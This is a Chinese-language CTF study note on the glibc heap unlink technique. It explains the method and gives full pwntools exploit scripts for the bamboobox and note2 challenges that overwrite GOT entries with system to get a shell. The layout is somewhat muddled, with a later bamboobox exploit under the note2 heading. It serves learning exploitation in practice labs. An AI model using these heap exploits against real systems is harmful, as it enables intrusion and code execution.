unlink学习笔记

本文详细记录了 unlink 漏洞的相关知识和三道例题的复现过程

前置知识

目的

假设我们称,指向chunk 的指针区域,为chunk_hook 区域。

unlink 的目的就是,使某个chunk_hook 指向一个chunk_hook ,也就是使chunk_hook 区域可以作为一个chunk ,这样就可以对chunk_hook 区域进行任意泄漏和写,进而也就能对其他地址进行任意泄漏和写。

利用思路

  • 要被合并的正序第一个chunk ,称unlink_chunk;指向free_chunk 的指针,称 unlink_chunk_hook,则:
    fd = unlink_chunk_hook - 0x18
    bk = unlink_chunk_hook - 0x10

  • 将要 freechunk ,称 inuse0_chunkinuse0_chunkprev_size 字段,表示前面所有空闲(要被合并)的chunkuser_data_size
    inuse0_chunk_prev_size = all_chunk_user_data_size

unlink 后,unlink_chunk_hook 成功指向fd

利用条件

能使一个chunk 处于free 状态,并且能控制该chunkuser_data 字段。

  1. 堆溢出,能自由向该chunkuser_data 中输入数据,并能溢出使后一个chunkprev_inuse 位为0。此时该chunk 处于free 状态。
  2. uaf 漏洞。

能使后一个chunkfree 的时候,被放到unsorted bin 中。

  1. 当没有tcache 时,chunk 的大小需大于fast bin 的范围

hitcontraining_bamboobox

漏洞点

change_item 函数中,有堆溢出漏洞。

1

利用思路

申请3chunkchunk0 作为unlink_chunkchunk1 用来使chunk0 处于空闲状态,并合并chunk0chunk2 用来防止释放chunk1 后,chunk1Top chunk 合并。

add(0x30,b'a'*8)
add(0x80,b'c'*8)
add(0x20,b'/bin/sh\x00') #后面执行system的时候会用到

image-20240721194438119

如图,在chunk_hook 区域找到unlink_chunk_hook ,并计算出fdbk

unlink_chunk_hook = 0x6020c8
fd = unlink_chunk_hook-0x18
bk = unlink_chunk_hook-0x10

要注意 chunk1prev_size 字段,表示前面空闲的 chunk 的大小

payload = p64(0)*2+p64(fd)+p64(bk)+b'a'*0x10+p64(0x30)+p64(0x90)
#p64(0x30) 是free_chunk(即chunk0)的user_data字段大小
edit(0,0x50,payload)
delete(1)
# chunk1的prev_inuse位是0,free掉chunk1后,会向前合并chunk0

exp

from tools import *
# context.log_level="debug"
# p = process("./a")
p = remote("node5.buuoj.cn",25170)
debug(p,0x400E84,0x400E90,0x400E9C,0x400EA8)
elf = ELF('./a')
libc = ELF('./libc-2.23.so')

def add(size,content):
p.sendlineafter("Your choice:",str(2))
p.sendlineafter("Please enter the length of item name:",str(size))
p.sendlineafter("Please enter the name of item:",content)
def show():
p.sendlineafter("Your choice:",str(1))
def edit(index,size,content):
p.sendafter("Your choice:",str(3))
p.sendafter("Please enter the index of item:",str(index))
p.sendafter("Please enter the length of item name:",str(size))
p.sendafter("Please enter the new name of the item:",content)
def delete(index):
p.sendlineafter("Your choice:",str(4))
p.sendlineafter("Please enter the index of item:",str(index))

unlink_chunk_hook = 0x6020c8
fd = unlink_chunk_hook-0x18
bk = unlink_chunk_hook-0x10
add(0x30,b'a'*8)
add(0x80,b'c'*8)
add(0x20,b'/bin/sh\x00')
payload = p64(0)*2+p64(fd)+p64(bk)+b'a'*0x10+p64(0x30)+p64(0x90)
edit(0,0x50,payload)
delete(1)

show()
p.recvuntil('0 : ')
libc_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = libc_addr-0x3c48e0
log_addr("libc_base")
payload = p64(libc_addr)+p64(0)+p64(0x30)+p64(elf.got['free'])
edit(0,0x30,payload)
system_addr = libc_base+libc.sym['system']
edit(0,0x10,p64(system_addr))
delete(2)
p.interactive()

zctf2016_note2

学习与收获

  1. 将要 freechunk ,称inuse0_chunk。而 inuse0_chunkprev_size 字段,则表示前面所有空闲(要被合并)的chunkuser_data_size
    inuse0_chunk_prev_size = all_chunk_user_data_size
  2. strcpy 以空字符 0 作为结束标志

代码审计

如果在创建chunk 时,创建 size = 0chunk ,那么在editchunk 时,便可实现溢出。要注意edit 中的 strcpy 函数,会被 00 截断。

edit

unsigned __int64 edit()
{
char *v0; // rbx
int v2; // [rsp+8h] [rbp-E8h]
int v3; // [rsp+Ch] [rbp-E4h]
char *src; // [rsp+10h] [rbp-E0h]
__int64 v5; // [rsp+18h] [rbp-D8h]
char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
char *v7; // [rsp+A0h] [rbp-50h]
unsigned __int64 v8; // [rsp+D8h] [rbp-18h]


puts("Input the id of the note:");
v2 = sub_400A4A(); //v2是index
if ( v2 >= 0 && v2 <= 3 )
{
src = *(&ptr + v2); //src是chunk的user_data区域
v5 = qword_602140[v2];
if ( src )
{
puts("do you want to overwrite or append?[1.overwrite/2.append]");
v3 = sub_400A4A(); //v3是上面选择的1/2
if ( v3 == 1 || v3 == 2 )
{
if ( v3 == 1 )
dest[0] = 0;
else
strcpy(dest, src);
/* v7 = malloc(0xA0uLL);
strcpy(v7, "TheNewContents:");
printf(v7); */
sub_4009BD((v7 + 15), 144LL, 10);
sub_400B10(v7 + 15); //v7+15是我们输入的要edit的数据
v0 = v7;
v0[v5 - strlen(dest) + 14] = 0;
strncat(dest, v7 + 15, 0xFFFFFFFFFFFFFFFFLL);
//程序将我们edit的数据v7+15,strncat拼接,到dest的末尾
strcpy(src, dest);
//将dest区域的数据,strcpy复制,到src(chunk的user_data区域)。
//strcpy以空字符0作为结束标志
free(v7);
}
}
}

利用思路

本题需要向前合并 2chunk ,因为我们没有办法往chunk1 中写入payloadchunk0 用来布置fdbkchunk1 用来设置chunk2prev_inuseprecv_size 字段;chunk2 用来向前合并chunkchunk3 用来,防止 delete(2) 时与Top chunk 合并。

创建 4chunk ,把chunk0 作为unlink_chunk ,并直接写入fdbkchunk0 中。

unlink_chun_hook = 0x602120
fd = unlink_chunk_hook-0x18
bk = unlink_chunk_hook-0x10

paylaod = p64(0)*2+p64(fd)+p64(bk)+b'c'*0x10
add(0x30,paylaod)
add(0,'')
add(0x80,b'a'*8)
add(0x10,b'/bin/sh\x00')

设置chunk2prev_inuse 位为 0 ,使chunk1 空闲。设置chunk2prev_size0x50,当 delete(2) 时,会向前合并 0x70 的内存。

paylaod = b'A'*0x18+b'\x90'
edit(1,paylaod)
num = 7
for i in range(7):
edit(1,b'A'*0x10+b'B'*num)
num = num-1
print(num)
paylaod = b'B'*0x10+b'\x50'
edit(1,paylaod)
delete(2)

exp

from tools import *
# p = process("./note2")
elf = ELF('./note2')
libc = ELF('libc-2.23.so')
p = remote('node5.buuoj.cn',25053)
debug(p,0x401032,0x401040,0x401047)
# context.log_level='debug'

def add(size,content):
p.sendlineafter("option--->>\n",str(1))
p.sendlineafter("Input the length of the note content:(less than 128)\n",str(size))
p.sendlineafter("Input the note content:\n",content)
def show(index):
p.sendlineafter("option--->>\n",str(2))
p.sendlineafter("Input the id of the note:\n",str(index))
def edit(index,content):
p.sendlineafter("option--->>\n",str(3))
p.sendlineafter("Input the id of the note:\n",str(index))
p.sendlineafter("do you want to overwrite or append?[1.overwrite/2.append]\n",str(1))
p.sendlineafter("TheNewContents:",content)
def delete(index):
p.sendlineafter("option--->>\n",str(4))
p.sendlineafter("Input the id of the note:\n",str(index))
p.sendlineafter("Input your name:\n",b'kim')
p.sendlineafter("Input your address:\n",b'wen')
free_chunk_hook = 0x602120
fd = free_chunk_hook-0x18
bk = free_chunk_hook-0x10

paylaod = p64(0)*2+p64(fd)+p64(bk)+b'c'*0x10
add(0x30,paylaod)
add(0,'')
add(0x80,b'a'*8)
add(0x10,b'/bin/sh\x00')
paylaod = b'A'*0x18+b'\x90'
edit(1,paylaod)
num = 7
for i in range(7):
edit(1,b'A'*0x10+b'B'*num)
num = num-1
print(num)
paylaod = b'B'*0x10+b'\x50'
edit(1,paylaod)
delete(2)

one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
paylaod = b'C'*0x18+p64(elf.got['free'])
edit(0,paylaod)
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['free']
log_addr("libc_base")
system = libc_base+libc.sym['system']
edit(0,p64(system))
delete(3)

p.interactive()

思路

  1. 修改fdbk 指针,然后触发unlink
  2. 泄漏函数真实地址
  3. 覆盖atoi@got 值为system 的地址,发送 '/bin/sh\x00' 调用atoi 函数

exp

from tools import *
# p = process('./bamboobox')
p = remote("node5.buuoj.cn",25863)
debug(p,0x400E90,0x400E9C,0x400EA8,0x400cdd)
# context.log_level = 'debug'
elf = ELF("./bamboobox")
libc = ELF("./libc-2.23.so")

def show():
p.sendlineafter("Your choice:",str(1))
# p.sendlineafter("")
def add(size,content):
p.sendlineafter("Your choice:",str(2))
p.sendlineafter("Please enter the length of item name:",str(size))
p.sendlineafter("Please enter the name of item:",content)
def edit(index,size,content):
p.sendlineafter("Your choice:",str(3))
p.sendlineafter("Please enter the index of item:",str(index))
p.sendlineafter("Please enter the length of item name:",str(size))
p.sendlineafter("Please enter the new name of the item:",content)
def delete(index):
p.sendlineafter("Your choice:",str(4))
p.sendlineafter("Please enter the index of item:",str(index))

fake_chunk = 0x6020c8
fd = 0x6020b0
bk = 0x6020b8
add(0x30,b'a'*8)
add(0x80,b'b'*8)
add(0x30,b'c'*8)
payload = p64(0)+p64(0x31)+p64(fd)+p64(bk)+b'a'*0x10+p64(0x30)+p64(0x90)
edit(0,0x80,payload)
delete(1)

payload = p64(0)*2+p64(0x30)+p64(elf.got['atoi'])
edit(0,0x30,payload)
show()
p.recvuntil(b'0 : ')
atoi_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log_addr("atoi_addr")

libc_base = atoi_addr-libc.sym['atoi']
log_addr("libc_base")
system_addr = libc_base+libc.sym['system']
edit(0,0x8,p64(system_addr))
p.recvuntil("Your choice:",b'/bin/sh\x00')
p.interactive()